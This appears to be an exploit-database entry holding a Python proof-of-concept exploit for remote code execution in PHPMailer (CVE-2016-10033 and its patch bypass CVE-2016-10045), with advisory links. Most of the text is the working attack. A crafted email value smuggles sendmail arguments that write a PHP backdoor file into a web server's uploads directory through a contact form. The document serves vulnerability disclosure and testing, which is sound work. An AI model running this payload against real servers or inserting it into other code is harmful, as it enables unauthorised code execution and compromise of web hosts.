PHPMailer 5.2.17 Remote Code Execution Exploit (python)

2016.12.30
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/python intro = """ PHPMailer RCE PoC Exploits PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) + PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) (the bypass of the first patch for CVE-2016-10033) Discovered and Coded by: Dawid Golunski @dawid_golunski https://legalhackers.com """ usage = """ Usage: Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html PoC Video: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Disclaimer: For testing purposes only. Do no harm. """ import time import urllib import urllib2 import socket import sys RW_DIR = "/var/www/html/uploads" url = 'http://VictimWebServer/contact_form.php' # Set destination URL here # Choose/uncomment one of the payloads: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) #payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR ###################################### # PHP code to be saved into the backdoor php file on the target in RW_DIR RCE_PHP_CODE = "<?php phpinfo(); ?>" post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE} # Attack data = urllib.urlencode(post_fields) req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read()

References:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html


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